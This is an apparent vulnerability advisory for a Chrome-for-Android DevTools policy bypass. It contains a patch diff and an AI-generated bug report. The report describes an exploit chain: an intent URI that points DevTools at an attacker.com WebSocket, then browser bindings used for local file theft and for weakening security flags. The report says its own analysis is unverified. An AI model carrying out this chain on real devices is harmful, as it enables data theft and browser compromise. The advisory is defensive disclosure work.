CVE-2026-7913
Overview
Background
- `IntentHandler`
- the Chrome-for-Android class that parses incoming Android
Intentobjects (including those sent by other, untrusted apps) and decides whether and how their URLs are turned into navigations. - `devtools://` scheme
- a privileged internal WebUI scheme (represented by
UrlConstants.DEVTOOLS_SCHEME) that serves the Chrome DevTools frontend and is normally reachable only from trusted, first-party contexts. - Internal-scheme set
- the
ifcondition in the patched hunk that enumerates “safe” internal schemes (CHROME_SCHEME,CHROME_NATIVE_SCHEME,DISTILLER_SCHEME,ABOUT_SCHEME) that receive special handling when launched via external intents. - DevTools availability policy
- the enterprise/managed control that governs whether DevTools may be opened at all; enforcement depends on all code paths that can reach a
devtools://page honoring it.
Root Cause Analysis
if in IntentHandler.java so that UrlConstants.DEVTOOLS_SCHEME joins the existing set of internal schemes (CHROME_SCHEME, CHROME_NATIVE_SCHEME, DISTILLER_SCHEME, ABOUT_SCHEME) handled by the branch whose retained comment reads “Allow certain ‘safe’ internal URLs to be launched by external [applications]”. Before the change, a devtools:// URL arriving in an Intent from an external application was not recognized by this internal-scheme logic and therefore did not travel the same controlled/filtered path as the other privileged internal schemes. The invariant violated is that privileged internal schemes delivered via cross-app intents must be funneled through Chrome’s internal-scheme handling (so that policy and trust checks apply) rather than slipping through unclassified. The commit (BUG=497936728, BUG=498454478) brings devtools:// under the same classification so DevTools URLs from untrusted intents are subject to the intended enforcement. Because the enclosing method name is not present in the hunk context, I do not assert it here. The removed/old behavior is implicit: the absence of DEVTOOLS_SCHEME from the list meant DevTools URLs were not covered by this check.UrlConstants.DEVTOOLS_SCHEME was omitted from IntentHandler’s recognized internal-scheme set, so DevTools URLs from external intents escaped the handling that enforces DevTools policy; the fix closes the gap by listing devtools:// alongside the other privileged internal schemes.Attack Path
- Craft an intent
A malicious or cooperating third-party Android app constructs an
Intenttargeting Chrome whose data URL uses thedevtools://scheme. - Dispatch to Chrome
The intent is sent to Chrome, where
IntentHandlerextracts and lowercases the scheme (lowerCaseScheme) for classification. - Miss the internal-scheme branch (pre-patch)
Because
DEVTOOLS_SCHEMEwas absent from theifset, thedevtools://URL was not treated as one of the recognized internal schemes and bypassed the intended filtering/policy path. - Reach a privileged DevTools page
The unclassified
devtools://navigation could proceed in a way that circumvents DevTools availability/policy enforcement (inferred), exposing privileged WebUI to an external caller.
Impact Assessment
devtools:// URL without the policy enforcement applied to other internal schemes, i.e., an insufficient-policy-enforcement/DevTools-policy bypass as the advisory states (“Insufficient policy enforcement in DevTools,” severity high). The attacker gains the ability to reach privileged DevTools surface from an untrusted cross-app context; any further escalation beyond bypassing DevTools policy is not demonstrated by this one-line diff and is (inferred). The advisory does not report in-the-wild exploitation.Files Changed
chrome/android/java/src/org/chromium/chrome/browser/IntentHandler.java
Audit Directions
- Scheme allow/deny listsEnumerate every place Chrome compares a scheme against a hardcoded set (
IntentHandler, external-navigation handlers,UrlConstantsconsumers) and confirm each privileged WebUI scheme (devtools://,chrome://,chrome-untrusted://,chrome-native://) is consistently represented across all of them. - Cross-app intent entry pointsAudit paths where an
IntentURL from another app becomes a navigation and verify privileged internal schemes are filtered or require trust before loading. - Policy-gated surfaces reachable off the main pathFor features governed by enterprise policy (DevTools, flags, WebUI), check that every alternate entry (intents, shortcuts, deep links) routes through the same policy enforcement rather than an unclassified default.
Patch
From f23db0dca7d17241f43f015369f58139b60bd4f9 Mon Sep 17 00:00:00 2001
From: Ryo Hashimoto <hashimoto@google.com>
Date: Wed, 01 Apr 2026 17:15:44 -0700
Subject: [PATCH] android: Filter devtools scheme
BUG=497936728
BUG=498454478
Change-Id: I10db3564d28d9ae97e1831a83da28acf9b6aafb3
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7720562
Reviewed-by: Theresa Sullivan <twellington@chromium.org>
Commit-Queue: Ryo Hashimoto <hashimoto@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1608884}
---
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/IntentHandler.java b/chrome/android/java/src/org/chromium/chrome/browser/IntentHandler.java
index 563e76b8..cf04bc9 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/IntentHandler.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/IntentHandler.java
@@ -1069,6 +1069,7 @@
String lowerCaseScheme = scheme.toLowerCase(Locale.US);
if (UrlConstants.CHROME_SCHEME.equals(lowerCaseScheme)
|| UrlConstants.CHROME_NATIVE_SCHEME.equals(lowerCaseScheme)
+ || UrlConstants.DEVTOOLS_SCHEME.equals(lowerCaseScheme)
|| UrlConstants.DISTILLER_SCHEME.equals(lowerCaseScheme)
|| ContentUrlConstants.ABOUT_SCHEME.equals(lowerCaseScheme)) {
// Allow certain "safe" internal URLs to be launched by external
Original Bug Report
Potential WebUI Privilege Escalation via devtools:// Intent Filter Bypass on Android
Project Fortify, an experimental security project, has identified the following potential security issue.
Overview: Chrome for Android’s Intent filtering fails to block the devtools:// scheme, allowing external apps to launch the DevTools frontend. An attacker can append a ws= query parameter to force the DevTools UI to connect to a malicious WebSocket server, gaining control over the privileged WebUI renderer. This allows access to powerful browser-process bindings, enabling local file theft or the setting of dangerous persistent browser flags.
Affected files:
chrome/android/java/src/org/chromium/chrome/browser/IntentHandler.javachrome/browser/devtools/devtools_ui_bindings.ccchrome/browser/ui/webui/chrome_web_ui_controller_factory.ccchrome/browser/ui/webui/devtools/devtools_ui.cc
Estimated timestamp from git blame: 2025-08-25
Vulnerability Description
A vulnerability exists in Chrome for Android where external intents are not properly filtered against the devtools:// scheme. This allows a malicious local Android application to force Chrome to navigate to the DevTools frontend. By manipulating the ws (WebSocket) query parameter, an attacker can hijack the DevTools frontend, taking control of a privileged WebUI context.
Note: These steps are based on static code analysis by an AI tooling agent and represent a potential exploit chain. The agent does not have the ability to run code or verify the exploit dynamically.
Step-by-Step Exploit Chain
-
Intent Filter Bypass: An attacker application sends an
ACTION_VIEWIntent with the URIdevtools://devtools/bundled/devtools_app.html?ws=attacker.com/ws. Inchrome/android/java/src/org/chromium/chrome/browser/IntentHandler.java, the methodintentHasUnsafeInternalSchemechecks if the scheme is an internal Chrome scheme (chrome:,chrome-native:, orabout:). It crucially omitsdevtools:. Thus, the Intent is permitted. -
Incomplete URL Sanitization: The navigation is processed by
ChromeWebUIControllerFactory. The URL is validated viaDevToolsUIBindings::IsValidFrontendURL. Thewsquery parameter is sanitized bySanitizeEndpoint(inchrome/browser/devtools/devtools_ui_bindings.cc), which only checks for the absence of&and?characters. It does not restrict the WebSocket endpoint tolocalhostor a trusted domain, allowingattacker.com/wsto pass. -
Opener Check Bypass: As the navigation prepares to commit,
DevToolsUIBindings::ReadyToCommitNavigationperforms a security check to ensure that if the window has an opener, the opener is also a DevTools window. However, because the navigation was initiated by an external Intent, the WebContents has no opener (GetOpener() == nullptr). This entirely bypasses the check, andDevToolsFrontendHost::Createis successfully called, injecting privileged Mojo bindings into the WebUI renderer. -
WebSocket Hijacking: The DevTools frontend loads and establishes a WebSocket connection to the attacker-controlled endpoint (
ws://attacker.com/ws). -
Privilege Escalation: The attacker’s WebSocket server now controls the DevTools frontend. The attacker can execute JavaScript in the WebUI to invoke
window.DevToolsHost.sendMessageToEmbedder. This grants access to powerful browser-process bindings implemented inDevToolsUIBindings:- Arbitrary File Read: Calling the
loadNetworkResourcemethod allows the attacker to read local files viafile://URLs (e.g., from external storage like/sdcard/), as the backend explicitly creates aFileURLLoaderFactoryfor file schemes. - Persistent Flag Modification: Calling the
setChromeFlagmethod allows the attacker to persistently enable dangerous features or disable security mitigations inabout:flags, followed by invokingrequestRestartto execute Chrome with a compromised security posture.
- Arbitrary File Read: Calling the
Suggested Fix
- Intent Filter: Update
intentHasUnsafeInternalSchemeinIntentHandler.javato explicitly includeUrlConstants.DEVTOOLS_SCHEMEin the list of unsafe internal schemes. - Endpoint Sanitization: Strengthen
SanitizeEndpointindevtools_ui_bindings.ccto restrict WebSocket connections to loopback addresses (localhost/127.0.0.1) unless explicitly authorized for remote debugging.
Evaluated with Chrome root at commit: a9cbf6e8b275fe4147435aa905f3b7f5a656f5f0
Results from so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.